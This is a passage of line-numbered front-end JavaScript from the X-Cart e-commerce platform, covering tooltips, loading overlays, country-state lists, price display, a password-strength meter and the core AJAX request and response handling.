445 elm3.style.display = ''; 446 } 447 } 448 449 return true; 450} 451 452/** 453 * Attach tooltip to some element on hover action 454 */ 455function attachTooltip(elm, content, forcePlacement, ttl) { 456 var placement = 'right'; 457 458 elm = jQuery(elm); 459 460 if ( 461 elm.length 462 && ( 463 (jQuery(window).width() - elm.offset().left) < 200 464 || ( 465 elm.parents('.ui-dialog').length 466 && (elm.parents('.ui-dialog').offset().left + elm.parents('.ui-dialog').width() - elm.offset().left) < 200 467 ) 468 ) 469 ) { 470 placement = 'left'; 471 } 472 placement = forcePlacement || placement; 473 474 jQuery(elm).each( 475 function () { 476 if (isBootstrapUse()) { 477 478 if ('undefined' == typeof(this.tooltipAssigned) || !this.tooltipAssigned) { 479 480 var to; 481 var obj = jQuery(this); 482 if (undefined === ttl) { 483 ttl = 500; 484 } 485 ; 486 487 var options = { 488 html: true, 489 title: content, 490 placement: placement, 491 trigger: 'manual' 492 }; 493 494 if (elm.data('container')) { 495 options['container'] = elm.data('container'); 496 } else if (elm.parents('.ui-dialog').length > 0) { 497 options['container'] = '.ui-dialog'; 498 } 499 ; 500 obj.tooltip(options); 501 502 obj.mouseover( 503 function () { 504 if (to) { 505 clearTimeout(to); 506 to = null; 507 } 508 if (!obj.next('.tooltip').length) { 509 jQuery(this).tooltip('show'); 510 } 511 } 512 ); 513 514 obj.mouseout( 515 function () { 516 to = setTimeout( 517 function () { 518 obj.tooltip('hide'); 519 }, 520 ttl 521 ); 522 } 523 ); 524 525 obj.on( 526 'shown.bs.tooltip', 527 function (event) { 528 var next = jQuery(event.currentTarget).next(); 529 if ('undefined' == typeof(next.get(0).tooltipAssigned) || !next.get(0).tooltipAssigned) { 530 next 531 .mouseover(function () { 532 obj.mouseover(); 533 }) 534 .mouseout(function () { 535 obj.mouseout(); 536 }); 537 next.get(0).tooltipAssigned = true; 538 } 539 } 540 ); 541 542 this.tooltipAssigned = true; 543 544 } 545 546 } else { 547 jQuery(this).tooltip({ 548 items: this, 549 'content': content 550 }); 551 552 } 553 554 jQuery(document).on('click', '.tooltip-main .tooltip', function (evt) { 555 return false;
556 }); 557 558 jQuery(document).on('click', '.tooltip-main .tooltip a', function (evt) { 559 evt.stopPropagation(); 560 }); 561 } 562 ); 563} 564 565/** 566 * Wait overlay 567 */ 568 569function assignWaitOverlay(elem) { 570 return createOverlay(elem, 'wait'); 571} 572 573function unassignWaitOverlay(elem, force) { 574 return removeOverlay(elem, force); 575} 576 577/** 578 * Shade overlay 579 */ 580 581function assignShadeOverlay(elem) { 582 return createOverlay(elem, 'shade'); 583} 584 585function unassignShadeOverlay(elem, force) { 586 return removeOverlay(elem, force); 587} 588 589var overlayRegistry = {}; 590var overlayAttr = 'data-overlay-id'; 591 592function getOverlaySelector (elem) { 593 return elem.attr(overlayAttr) || generateOverlayId(); 594} 595 596function generateOverlayId() { 597 do { 598 var pattern = 'overlay-' + Math.round(Math.random() * 1000000); 599 var isUnique = $('[' + overlayAttr + '=' + pattern + ']').length === 0; 600 } while (!isUnique); 601 602 return pattern; 603} 604 605function createOverlay(elem, type) { 606 type = type || 'wait'; 607 var pattern = getOverlaySelector(elem); 608 609 $.each(elem, function() { 610 var elem = $(this); 611 612 if (!_.isUndefined(this.overlay) && this.overlay) { 613 unassignWaitOverlay(elem); 614 } 615 616 var overlayElement = null; 617 if (type === 'wait') { 618 overlayElement = jQuery('<div class="wait-block-overlay"><div class="wait-block"><div></div></div></div>'); 619 } else { 620 overlayElement = jQuery('<div class="shade-block-overlay"></div>'); 621 } 622 623 overlayElement.css({ 624 width: elem.outerWidth() + 'px', 625 height: elem.outerHeight() + 'px' 626 }); 627 628 // We do not show the overlay if the element has zero width or height (the element is not visible) 629 if (0 !== elem.outerWidth() && 0 !== elem.outerHeight()) { 630 elem.prepend(overlayElement) 631 } 632 633 var leftOffset = elem.offset().left - overlayElement.offset().left; 634 var topOffset = elem.offset().top - overlayElement.offset().top; 635 overlayElement.css('margin-left', leftOffset + 'px'); 636 overlayElement.css('margin-top', topOffset + 'px'); 637 638 overlayElement.attr('id', pattern); 639 elem.attr(overlayAttr, pattern); 640 overlayRegistry[pattern] = overlayElement; 641 this.overlay = overlayElement; 642 643 elem.trigger('assignOverlay', {widget: elem, type: type}); 644 }); 645 646 return $('#' + pattern); 647} 648 649function removeOverlay(elem, force) { 650 var pattern = getOverlaySelector(elem); 651 652 $.each(elem, function() { 653 var elem = $(this); 654 655 var overlay = null; 656 if (pattern && typeof overlayRegistry[pattern] !== "undefined") { 657 overlay = overlayRegistry[pattern]; 658 } else if (force) { 659 overlay = $('.wait-block-overlay, .shade-block-overlay'); 660 } 661 662 if (overlay) { 663 overlay.remove(); 664 elem.attr(overlayAttr, null); 665 elem.trigger('unassignOverlay', {widget: elem}); 666 this.overlay = null; 667 } 668 }); 669} 670 671function isBootstrapUse() { 672 return 'undefined' != typeof(jQuery.fn.modal) 673 && _.isFunction(jQuery.fn.modal); 674} 675 676/** 677 * State widget specific objects and methods (used in select_country.js ) 678 */ 679 680var StatesList = (function () { 681 var instance; 682 683 function createInstance() { 684 function StatesListProto() { 685 } 686 687 extend(StatesListProto, Object); 688 689 StatesListProto.states = []; 690 StatesListProto.stateSelectors = []; 691 StatesListProto.forceCustomState = false; 692 StatesListProto.forceCustomStateCountries = []; 693 694 StatesListProto.prototype.addStates = function (states) { 695 StatesListProto.states = array_merge(this.states, states); 696 return this; 697 }; 698 699 StatesListProto.prototype.getStates = function (country) { 700 return StatesListProto.states[country]; 701 }; 702 703 StatesListProto.prototype.getAllStates = function () { 704 return StatesListProto.states; 705 }; 706 707 StatesListProto.prototype.getStatesArray = function (country) { 708 var extractStates = function (state) { 709 if (state instanceof Object) { 710 if (!_.isUndefined(state.name)) { 711 return [state.name]; 712 } 713 714 var result = []; 715 716 if (state instanceof Array) { 717 state.map(function (v) { 718 result = result.concat(extractStates(v)); 719 }); 720 } else { 721 Object.keys(state).forEach(function (key) { 722 result = result.concat(extractStates(state[key])); 723 }); 724 } 725 726 return result.sort(function (a, b) { 727 return a.toLowerCase().localeCompare(b.toLowerCase()); 728 }); 729 } 730 731 return []; 732 }; 733 734 return extractStates(this.getStates(country)); 735 }; 736 737 StatesListProto.prototype.addStateSelector = function (fieldId, stateSelector) { 738 StatesListProto.stateSelectors[fieldId] = stateSelector; 739 return this; 740 }; 741 742 StatesListProto.prototype.getStateSelectors = function () { 743 return StatesListProto.stateSelectors; 744 }; 745 746 StatesListProto.prototype.isForceCustomState = function (country) { 747 return StatesListProto.forceCustomState 748 || StatesListProto.forceCustomStateCountries.indexOf(country) != -1; 749 }; 750 751 StatesListProto.prototype.updateStatesList = function (base) { 752 var _stateSelectors, _forceCustomState, o = this; 753 754 base = base || document; 755 756 if (!jQuery('.country-selector', base).length) { 757 o.addStates(window.statesList); 758 } else { 759 jQuery('.country-selector', base).each(function (index, elem) { 760 o.addStates(xcart.getCommentedData(elem, 'statesList')); 761 _forceCustomState = xcart.getCommentedData(elem, 'forceCustomState'); 762 _stateSelectors = xcart.getCommentedData(elem, 'stateSelectors'); 763 764 if (_forceCustomState instanceof Array) { 765 if (_forceCustomState.indexOf('All') != -1) { 766 StatesListProto.forceCustomState = true; 767 _forceCustomState.splice(_forceCustomState.indexOf('All'), 1); 768 } 769 770 StatesListProto.forceCustomStateCountries = array_merge( 771 StatesListProto.forceCustomStateCountries, 772 _forceCustomState 773 ); 774 } 775 776 if (_stateSelectors) { 777 o.addStateSelector(_stateSelectors.fieldId, new StateSelector( 778 _stateSelectors.fieldId, 779 _stateSelectors.stateSelectorId, 780 _stateSelectors.stateInputId 781 )); 782 } 783 }); 784 } 785 }; 786 787 return new StatesListProto; 788 } 789 790 return { 791 getInstance: function () { 792 if (!instance) { 793 instance = createInstance(); 794 795 instance.updateStatesList(); 796 } 797 return instance; 798 } 799 }; 800})(); 801 802function setPriceElement(element, value, e) { 803 e = e || 2; 804 805 var str = xcart.numberToString(value, '.', '', e); 806 var parts = str.split('.'); 807 808 // Sign 809 if (!element.find('.part-sign').length) { 810 if (!element.find('.part-prefix').length) { 811 element.find('.part-integer').before('<span class="part-sign"></span>'); 812 813 } else { 814 element.find('.part-prefix').before('<span class="part-sign"></span>'); 815 } 816 } 817 if (value >= 0) { 818 element.find('.part-sign').html(''); 819 820 } else { 821 element.find('.part-sign').html('− '); 822 } 823 824 element.find('.part-integer').html(Math.abs(parseInt(parts[0]))); 825 if (parts[1]) { 826 element.find('.part-decimal').html(parts[1]); 827 828 } else { 829 element.find('.part-decimal').html(''); 830 } 831} 832 833function CacheEngine() { 834 this.cache = []; 835} 836 837CacheEngine.prototype.add = function (key, value) { 838 var updated = false;
839 840 for (var i = 0; i < this.cache.length; i++) { 841 if (this.cache[i].key === key) { 842 updated = true; 843 this.cache[i].value = value; 844 845 break; 846 } 847 } 848 849 if (!updated) { 850 this.cache.push({key: key, value: value}); 851 } 852}; 853 854CacheEngine.prototype.get = function (key) { 855 for (var i = 0; i < this.cache.length; i++) { 856 if (this.cache[i].key === key) { 857 return this.cache[i].value; 858 } 859 } 860}; 861 862CacheEngine.prototype.has = function (key) { 863 for (var i = 0; i < this.cache.length; i++) { 864 if (this.cache[i].key === key) { 865 return true; 866 } 867 } 868}; 869 870CacheEngine.prototype.remove = function (key) { 871 var index = null; 872 873 for (var i = 0; i < this.cache.length; i++) { 874 if (this.cache[i].key === key) { 875 index = i; 876 877 break; 878 } 879 } 880 881 this.cache.splice(index, 1); 882}; 883 884CacheEngine.prototype.clear = function () { 885 this.cache = []; 886}; 887 888function getPasswordDifficulty(password) { 889 var digits = new RegExp('\\d'); 890 891 var lowerLetters, upperLetters, specials; 892 try { 893 lowerLetters = new RegExp('\\p{Ll}', 'u'); 894 upperLetters = new RegExp('\\p{Lu}', 'u'); 895 specials = new RegExp('[^\\d\\p{L}]', 'u'); 896 } catch (e) { 897 console.log("Current browser doesn't support regular expressions with unicode"); 898 lowerLetters = new RegExp('[a-z]'); 899 upperLetters = new RegExp('[A-Z]'); 900 specials = new RegExp('[^A-Za-z\\d]'); 901 } 902 903 var rating = 0; 904 [digits, lowerLetters, upperLetters, specials].forEach(function(item) { 905 if (item.test(password)) { 906 rating++; 907 } 908 }); 909 910 if (password.length >= 6) { 911 rating++; 912 } 913 914 if (rating < 3) { 915 return 'Weak password'; 916 } 917 918 return (rating < 4) ? 'Good password' : 'Strong password'; 919} 920 921function showPasswordDifficultyMessage(elem, difficulty) { 922 elem.html(xcart.t(difficulty)); 923} 924 925function setPasswordDifficultyColor(elem, difficulty) { 926 if (difficulty == 'Weak password') { 927 elem.css("color", "#D4142C"); 928 } else if (difficulty == 'Good password') { 929 elem.css("color", "#A66908"); 930 } else if (difficulty == 'Strong password') { 931 elem.css("color", "#598103"); 932 } 933} 934 935function smartTrim(string, maxLength) { 936 if (string.length <= maxLength) { 937 return string; 938 } 939 940 if (maxLength == 1) { 941 return string.substring(0,1) + '...'; 942 } 943 944 const midpoint = Math.ceil(string.length / 2); 945 const toremove = string.length - maxLength; 946 const lstrip = Math.ceil(toremove/2); 947 const rstrip = toremove - lstrip; 948 949 return string.substring(0, midpoint-lstrip) + '...' 950 + string.substring(midpoint+rstrip); 951}; 952 953jQuery(document).ready( 954 function () { 955 var isIE11 = !!navigator.userAgent.match(/Trident.*rv[ :]*11\./); 956 957 if (isIE11) { 958 jQuery('body').addClass('ie11'); 959 } 960 961 // Open warning popup 962 xcart.microhandlers.add( 963 'OverlayHeightResize', 964 '>*:first', 965 function (event) { 966 jQuery('.ui-widget-overlay').css('height', jQuery(document).height()); 967 jQuery('.ui-widget-overlay').css('width', jQuery('body').innerWidth()); 968 } 969 ); 970 971 xcart.microhandlers.add( 972 'PopupModelButtonWidthFix', 973 '.model-form-buttons', 974 function (event) { 975 jQuery('.ajax-container-loadable .model-form-buttons') 976 .each(function (index, elem) { 977 jQuery('.button', elem).width(jQuery(elem).width()); 978 }); 979 } 980 ); 981 982 xcart.microhandlers.add( 983 'promo-close', 984 '.promo-block .close', 985 function (event) { 986 $(this).click(function () { 987 var block = jQuery(this).parents('.promo-block').get(0); 988 var blockId = jQuery(block).data('promo-id'); 989 if (0 < blockId.length) { 990 blockId = blockId + 'PromoBlock'; 991 document.cookie = blockId + '=1'; 992 } 993 jQuery(block).hide(); 994 }); 995 } 996 ); 997 998 xcart.microhandlers.add( 999 'promo-close-2', 1000 '.promo-block-close', 1001 function (event) { 1002 $(this).click(function () { 1003 var blockSelector = jQuery(this).data('promo-selector'); 1004 var block = null; 1005 1006 if (blockSelector) { 1007 block = jQuery(blockSelector); 1008 } else { 1009 block = jQuery(this).parents('.promo-block').get(0) 1010 } 1011 1012 var blockId = jQuery(block).data('promo-id'); 1013 if (0 < blockId.length) { 1014 blockId = blockId + 'PromoBlock'; 1015 document.cookie = blockId + '=1'; 1016 } 1017 jQuery(block).hide(); 1018 }); 1019 } 1020 ); 1021 1022 xcart.microhandlers.add( 1023 'promo-close-2', 1024 'input.column-selector', 1025 function (event) { 1026 $(this).click(function () { 1027 if (!this.columnSelectors) { 1028 var idx = jQuery(this).parents('th').get(0).cellIndex; 1029 var table = jQuery(this).parents('table').get(0); 1030 this.columnSelectors = jQuery('tr', table) 1031 .find('td') 1032 .eq(idx) 1033 .find(':checkbox'); 1034 } 1035 1036 this.columnSelectors.prop('checked', this.checked ? 'checked' : ''); 1037 }); 1038 } 1039 ); 1040 1041 xcart.microhandlers.add( 1042 'input-file', 1043 'input.inputfile', 1044 function (event) { 1045 $(this).change(function () { 1046 if (this.files) { 1047 var filename = ''; 1048 if (this.files.length > 1) { 1049 filename = this.files.length + " files selected"; 1050 } else { 1051 filename = this.files[0].name; 1052 } 1053 1054 const filenameElement = $(this).siblings('span.input-filename'); 1055 if (filename) { 1056 filename = filename 1057 .replace(/&/g, "&") 1058 .replace(/</g, "<") 1059 .replace(/>/g, ">") 1060 .replace(/"/g, """) 1061 .replace(/'/g, "'"); 1062 filenameElement.html(smartTrim(filename, 20)); 1063 } 1064 } 1065 }); 1066 } 1067 ); 1068 1069 1070 if (xliteConfig.zone === 'customer') { 1071 xcart.microhandlers.add( 1072 '.profile-form', 1073 'input#password', 1074 function (event) { 1075 $(this) 1076 .last() 1077 .on('input', function () { 1078 var difficulty = getPasswordDifficulty($(this).val()); 1079 1080 var form = $(this).closest('form'); 1081 var formId = form.attr('id') 1082 var passwordDifficultyElem = $(".password-difficulty[form-id=" + formId + "]"); 1083 1084 if (passwordDifficultyElem.length == 0) { 1085 form.find('.password-label').append( 1086 "<span class='password-difficulty' form-id='" + formId + "'></span>" 1087 ); 1088 passwordDifficultyElem = $(".password-difficulty[form-id=" + formId + "]"); 1089 } 1090 1091 1092 showPasswordDifficultyMessage(passwordDifficultyElem, difficulty); 1093 setPasswordDifficultyColor(passwordDifficultyElem, difficulty); 1094 }); 1095 } 1096 ); 1097 } 1098 1099 xcart.bind('popup.open', function () { 1100 jQuery('html').addClass('popup-opened'); 1101 }); 1102 xcart.bind('popup.close', function () { 1103 jQuery('html').removeClass('popup-opened'); 1104 }); 1105 });; 1106/* AUTOGENERATED: xcart.element.js */ 1107/* vim: set ts=2 sw=2 sts=2 et: */ 1108 1109/** 1110 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 1111 * See https://www.x-cart.com/license-agreement.html for license details. 1112 */ 1113 1114Element.prototype.fireEvent = Window.prototype.fireEvent = function fireEvent(event, eventInterface) { 1115 eventInterface = eventInterface || 'Event'; 1116 emitEvent(this, event, eventInterface); 1117}; 1118 1119function emitEvent(object, event, eventInterface) { 1120 if (document.createEventObject) { 1121 // dispatch for IE 1122 var evt = document.createEventObject(); 1123 return object.fireEvent('on' + event, evt); 1124 } else { 1125 // dispatch for firefox + others 1126 eventInterface = eventInterface || 'Event'; 1127 var evt = document.createEvent(eventInterface); 1128 evt.initEvent(event, true, true); // event type,bubbling,cancelable 1129 return !object.dispatchEvent(evt); 1130 } 1131}; 1132/* AUTOGENERATED: xcart.js */ 1133/* vim: set ts=2 sw=2 sts=2 et: */ 1134 1135/** 1136 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 1137 * See https://www.x-cart.com/license-agreement.html for license details. 1138 */ 1139 1140/** 1141 * OOP core 1142 */ 1143 1144// OOP extends emulation 1145function extend(child, parent) { 1146 var F = function () { 1147 }; 1148 F.prototype = parent.prototype; 1149 child.prototype = new F(); 1150 child.prototype.constructor = child; 1151 child.superclass = parent.prototype; 1152 1153 child.prototype.inherit_stack = child.prototype.inherit_stack === undefined 1154 ? [] 1155 : child.prototype.inherit_stack.slice(0); 1156 child.prototype.inherit_stack.push(parent); 1157} 1158 1159// Decorate / add method 1160function decorate(c, methodName, method) { 1161 c = getClassByName(c); 1162 1163 var result = false;
1164 1165 if (c) { 1166 method.previousMethod = 'undefined' == typeof (c.prototype[methodName]) ? null : c.prototype[methodName]; 1167 c.prototype[methodName] = method; 1168 result = true; 1169 } 1170 1171 return result; 1172} 1173 1174// Get class object by name (or object) 1175function getClassByName(c) { 1176 if (c && c.constructor == String) { 1177 c = eval('(("undefined" != typeof(window.' + c + ') && ' + c + '.constructor == Function) ? ' + c + ' : null)'); 1178 1179 } else if (!c || c.constructor != Function) { 1180 c = null; 1181 } 1182 1183 return c; 1184} 1185 1186// Base class 1187function Base() { 1188 this.triggerVent('initialize'); 1189} 1190 1191// Call parent method by name nad arguments list 1192Base.prototype.callSupermethod = function (name, args) { 1193 var call_stack_head = false; 1194 this.call_stack = this.call_stack === undefined ? {} : this.call_stack; 1195 if (!this.call_stack.hasOwnProperty(name) || this.call_stack[name] === undefined) { 1196 call_stack_head = true; 1197 this.call_stack[name] = this.inherit_stack.slice(0); 1198 } 1199 1200 var superClass = this.call_stack[name].pop(); 1201 var result = (name === 'constructor' ? superClass : superClass.prototype[name]).apply(this, args); 1202 this.call_stack[name].push(superClass); 1203 1204 if (call_stack_head) { 1205 this.call_stack[name] = undefined; 1206 } 1207 1208 return result; 1209}; 1210 1211// Bind event handler 1212Base.prototype.bind = function (name, handler) { 1213 jQuery(this).bind(name, handler); 1214 1215 return this; 1216}; 1217 1218// Unbind event handler 1219Base.prototype.unbind = function (name, handler) { 1220 jQuery(this).unbind(name, handler); 1221 1222 return this; 1223}; 1224 1225// Trigger event on common mediator object 1226Base.prototype.triggerVent = function (name, data) { 1227 var ns = this.getEventNamespace(); 1228 if (ns) { 1229 xcart.trigger(ns + '.' + name, data); 1230 } 1231 1232 return jQuery(this).trigger('local.' + name, data); 1233}; 1234 1235// Get event namespace (prefix) 1236Base.prototype.getEventNamespace = function () { 1237 return null; 1238}; 1239 1240var reverseArguments = function (func) { 1241 return function () { 1242 return func.apply(this, Array.prototype.reverse.call(arguments)); 1243 }; 1244}; 1245 1246// Core definition 1247window.xcart = { 1248 1249 isDebug: false, 1250 1251 isReady: false, 1252 1253 isRequesterEnabled: false, 1254 1255 savedEvents: [], 1256 1257 messages: jQuery({}), 1258 1259 resources: [], 1260 1261 resourcesCacheTimestamp: '', 1262 1263 htmlResourcesLoadDeferred: new $.Deferred(), 1264 1265 // Collections of the getters which return the parameters of the widgets to get via widgets collection process 1266 widgetsParamsGetters: {}, 1267 1268 doShadeWidgetsCollection: true, 1269 1270 xhrMiddlewares: [], 1271 1272 getXhrMiddlewares: function () { 1273 return [ 1274 this.processBackendEvents 1275 ].concat(this.xhrMiddlewares); 1276 }, 1277 1278 addXhrMiddleware: function (callback) { 1279 this.xhrMiddlewares.push(callback); 1280 }, 1281 1282 registerWidgetsParamsGetter: function (widgetsId, getter) { 1283 if (!this.widgetsParamsGetters[widgetsId]) { 1284 this.widgetsParamsGetters[widgetsId] = []; 1285 } 1286 this.widgetsParamsGetters[widgetsId].push(getter); 1287 }, 1288 1289 getWidgetsParams: function (widgetsId, paramsToCall) { 1290 var params = []; 1291 for (var key in this.widgetsParamsGetters[widgetsId]) { 1292 params = array_merge(params, this.widgetsParamsGetters[widgetsId][key](paramsToCall)); 1293 } 1294 return params; 1295 }, 1296 1297 widgetsTriggers: {}, 1298 1299 registerWidgetsTriggers: function (widgetsId, triggersGetter) { 1300 if (!this.widgetsTriggers[widgetsId]) { 1301 this.widgetsTriggers[widgetsId] = []; 1302 } 1303 this.widgetsTriggers[widgetsId].push(triggersGetter); 1304 }, 1305 1306 getWidgetsTriggers: function (widgetsId) { 1307 var triggers = []; 1308 for (var key in this.widgetsTriggers[widgetsId]) { 1309 triggers.push(this.widgetsTriggers[widgetsId][key]()); 1310 } 1311 return triggers; 1312 }, 1313 1314 shadowWidgets: {}, 1315 1316 registerShadowWidgets: function (widgetsId, shadowGetter) { 1317 if ('undefined' === typeof (this.shadowWidgets[widgetsId])) { 1318 this.shadowWidgets[widgetsId] = []; 1319 } 1320 this.shadowWidgets[widgetsId].push(shadowGetter); 1321 }, 1322 1323 getShadowWidgets: function (widgetsId) { 1324 var shadow = []; 1325 for (var key in this.shadowWidgets[widgetsId]) { 1326 shadow.push(this.shadowWidgets[widgetsId][key]()); 1327 } 1328 return array_unique(shadow); 1329 }, 1330 1331 widgetsTriggersBind: {}, 1332 1333 registerTriggersBind: function (widgetsId, triggersGetter) { 1334 if (!this.widgetsTriggersBind[widgetsId]) { 1335 this.widgetsTriggersBind[widgetsId] = []; 1336 } 1337 this.widgetsTriggersBind[widgetsId].push(triggersGetter); 1338 }, 1339 1340 callTriggersBind: function (widgetsId) { 1341 for (var key in this.widgetsTriggersBind[widgetsId]) { 1342 this.widgetsTriggersBind[widgetsId][key](); 1343 } 1344 }, 1345 1346 shadeWidgetsCollection: function (base) { 1347 if (this.doShadeWidgetsCollection) { 1348 jQuery(base).append('<div class="single-progress-mark"><div></div></div>'); 1349 } 1350 this.doShadeWidgetsCollection = true; 1351 }, 1352 1353 unshadeWidgetsCollection: function (base) { 1354 jQuery(base + ' .single-progress-mark').remove(); 1355 }, 1356 1357 processUpdateWidgetsCollection: function (widgetsId, widgetsCollection, widgetsCollectionParamsCommon, base) { 1358 // Shadows triggers (unbind and disable the trigger elements) 1359 var triggers = this.getWidgetsTriggers(widgetsId); 1360 for (var k in triggers) { 1361 jQuery(triggers[k]).unbind(k).prop('disabled', 'disabled'); 1362 } 1363 this.shadeWidgetsCollection('.product-details-info'); 1364 1365 // Shadow widgets collection
1366 //this.shadowCollection(base, this.getShadowWidgets(widgetsId)); 1367 1368 // Load widgets 1369 this.loadWidgetsCollection( 1370 base, 1371 widgetsCollection, 1372 array_merge( 1373 widgetsCollectionParamsCommon, 1374 this.getWidgetsParams(widgetsId, widgetsCollectionParamsCommon) 1375 ), 1376 function () { 1377 // Unshadow triggers (bind and enable trigger elements) 1378 for (var k in triggers) { 1379 jQuery(triggers[k]).removeAttr('disabled'); 1380 } 1381 xcart.unshadeWidgetsCollection('.product-details-info'); 1382 xcart.callTriggersBind(widgetsId); 1383 } 1384 ); 1385 }, 1386 1387 // Performs browser redirect on setTimeout 1388 redirectTo: function (url) { 1389 _.defer(function () { 1390 window.location.href = url; 1391 }); 1392 }, 1393 1394 // Trigger common message 1395 trigger: function (name, params) { 1396 var result = true; 1397 1398 name = name.toLowerCase(); 1399 1400 if (this.isReady) { 1401 1402 if (this.isDebug && 'undefined' != typeof (window.console)) { 1403 if (params) { 1404 console.log('Fire \'' + name + '\' event with arguments: ' + var_export(params, true)); 1405 } else { 1406 } 1407 console.log('Fire \'' + name + '\' event'); 1408 } 1409 1410 result = this.messages.trigger(name, [params]); 1411 1412 } else { 1413 this.savedEvents.push( 1414 { 1415 name: name, 1416 params: params 1417 } 1418 ); 1419 } 1420 1421 return result; 1422 }, 1423 1424 // Bind on common messages 1425 bind: function (name, callback) { 1426 if (_.isArray(name)) { 1427 for (var key in name) { 1428 if (name.hasOwnProperty(key)) { 1429 this.messages.bind(name[key].toLowerCase(), callback); 1430 } 1431 } 1432 } else { 1433 this.messages.bind(name.toLowerCase(), callback); 1434 } 1435 1436 return this; 1437 }, 1438 1439 // Unbind on common messages 1440 unbind: function (name, callback) { 1441 if (_.isArray(name)) { 1442 for (var key in name) { 1443 this.messages.unbind(name[key].toLowerCase(), callback); 1444 } 1445 } else { 1446 this.messages.unbind(name.toLowerCase(), callback); 1447 } 1448 1449 return this; 1450 }, 1451 1452 // Get HTML data from server 1453 get: function (url, callback, data, options) { 1454 if (_.isObject(url)) { 1455 url = URLHandler.buildURL(url); 1456 } 1457 1458 options = options || {}; 1459 1460 var completeCallback = options.complete || function () { 1461 }; 1462 var successCallback = options.success || function () { 1463 }; 1464 1465 var headers = { 1466 'ajaxRefererTarget': xcart.getTarget() 1467 }; 1468 options = jQuery.extend( 1469 { 1470 async: true, 1471 cache: false, 1472 contentType: 'text/html', 1473 global: false, 1474 timeout: xliteConfig.ajax_timeout, 1475 type: 'GET', 1476 url: url, 1477 data: data, 1478 headers: headers 1479 }, 1480 options, 1481 { 1482 complete: function () { 1483 _.partial(xcart.onXhrComplete, callback, options, data).apply(this, arguments); 1484 completeCallback.apply(this, arguments); 1485 }, 1486 success: function () { 1487 xcart.onXhrSuccess.apply(this, arguments); 1488 successCallback.apply(this, arguments); 1489 } 1490 } 1491 ); 1492 1493 return jQuery.ajax(options); 1494 }, 1495 1496 // Post form data to server 1497 post: function (url, callback, data, options) { 1498 if (_.isObject(url)) { 1499 url = URLHandler.buildURL(url); 1500 } 1501 1502 options = options || {}; 1503 1504 var completeCallback = options.complete || function () { 1505 }; 1506 var successCallback = options.success || function () { 1507 }; 1508 1509 var headers = { 1510 'ajaxRefererTarget': xcart.getTarget() 1511 }; 1512 1513 options = jQuery.extend( 1514 { 1515 async: true, 1516 cache: false, 1517 contentType: 'application/x-www-form-urlencoded', 1518 global: false, 1519 timeout: xliteConfig.ajax_timeout, 1520 type: 'POST', 1521 url: url, 1522 data: data, 1523 headers: headers 1524 }, 1525 options, 1526 { 1527 complete: function () { 1528 _.partial(xcart.onXhrComplete, callback, options, data).apply(this, arguments); 1529 completeCallback.apply(this, arguments); 1530 }, 1531 success: function () { 1532 xcart.onXhrSuccess.apply(this, arguments); 1533 successCallback.apply(this, arguments); 1534 } 1535 } 1536 ); 1537 1538 return jQuery.ajax(options); 1539 }, 1540 1541 onXhrSuccess: function (data, textStatus, XMLHttpRequest) { 1542 var list = XMLHttpRequest.getAllResponseHeaders().split(/\n/); 1543 1544 var header = _.find(list, function (headerValue) { 1545 return -1 !== headerValue.search(/update-csrf: (.*)/i); 1546 }); 1547 1548 var matches = header 1549 ? header.match(/update-csrf: (.*)/i) 1550 : null; 1551 1552 if (matches && matches[1]) { 1553 var headerData = JSON.parse(matches[1]); 1554 1555 if (headerData.name === 'xcart_form_id' && headerData.old === xliteConfig.form_id) {
1556 xliteConfig.form_id = headerData.value; 1557 } 1558 } 1559 }, 1560 1561 onXhrComplete: function (callback, options, data, XMLHttpRequest, textStatus) { 1562 var callCallback = xcart.preprocessResponse(XMLHttpRequest, options, callback); 1563 data = xcart.processResponse(XMLHttpRequest); 1564 var notValid = !!XMLHttpRequest.getResponseHeader('not-valid'); 1565 1566 return (callCallback && callback) ? callback(XMLHttpRequest, textStatus, data, !notValid) : true; 1567 }, 1568 1569 // Response preprocess (run callback or not) 1570 preprocessResponse: function (xhr, options, callback) { 1571 var result = true; 1572 1573 var responseStatus = parseInt(xhr.getResponseHeader('ajax-response-status')); 1574 1575 if (200 == xhr.status && 279 == responseStatus && xhr.getResponseHeader('AJAX-Location') && (!options || !options.rpc)) { 1576 xcart.get( 1577 xhr.getResponseHeader('AJAX-Location'), 1578 callback 1579 ); 1580 1581 result = false; 1582 1583 } else if (278 == responseStatus) { 1584 if (options.preventRedirect) { 1585 return result 1586 } 1587 1588 // Redirect 1589 var url = xhr.getResponseHeader('AJAX-Location'); 1590 1591 if (url) { 1592 window.location.assign(url); 1593 } 1594 1595 if (!url || this.urlHasHash(url)) { 1596 window.location.reload(true); 1597 } 1598 1599 result = false;
1600 } 1601 1602 return result; 1603 }, 1604 1605 urlHasHash: function (url) { 1606 return url.indexOf('#') !== -1; 1607 }, 1608 1609 // Process response from server 1610 processResponse: function (xhr) { 1611 var response = xhr.responseText; 1612 this.getXhrMiddlewares().forEach(function (callback) { 1613 var result = callback(xhr, response); 1614 if (typeof (result) !== 'undefined') { 1615 response = result; 1616 } 1617 }); 1618 1619 return (4 == xhr.readyState && 200 == xhr.status) ? response : false; 1620 }, 1621 1622 processBackendEvents: function (xhr) { 1623 if (4 == xhr.readyState) { 1624 var list = xhr.getAllResponseHeaders().split(/\n/); 1625 1626 for (var i = 0; i < list.length; i++) { 1627 if (-1 !== list[i].search(/^event-([^:]+):(.+)/i)) { 1628 1629 // Server-side event 1630 var m = list[i].match(/event-([^:]+):(.+)/i); 1631 xcart.trigger(m[1].toLowerCase(), eval('(' + m[2] + ')')); 1632 } 1633 } 1634 } 1635 }, 1636 1637 showInternalError: function () { 1638 return this.showError(this.t('Javascript core internal error. Page will be refreshed automatically')); 1639 }, 1640 1641 showServerError: function () { 1642 return this.showError(this.t('Background request to server side is failed. Page will be refreshed automatically')); 1643 }, 1644 1645 showError: function (message) { 1646 xcart.trigger( 1647 'message', 1648 {'type': 'error', 'message': message} 1649 ); 1650 }, 1651 1652 translator: null, 1653 1654 t: function (label, substitute) { 1655 return this.getTranslator().translate(label, substitute); 1656 }, 1657 1658 loadLanguageHash: function (hash) { 1659 return this.getTranslator().loadLanguageHash(hash); 1660 }, 1661 1662 getTranslator: function () { 1663 if (this.translator === null) { 1664 this.translator = new Translator(); 1665 } 1666 1667 return this.translator; 1668 }, 1669 1670 getHtmlResourcesLoadPromise: function () { 1671 return this.htmlResourcesLoadDeferred.promise(); 1672 }, 1673 1674 loadResource: function (resource, type) { 1675 var deferred = new $.Deferred(); 1676 if (_.isString(resource)) { 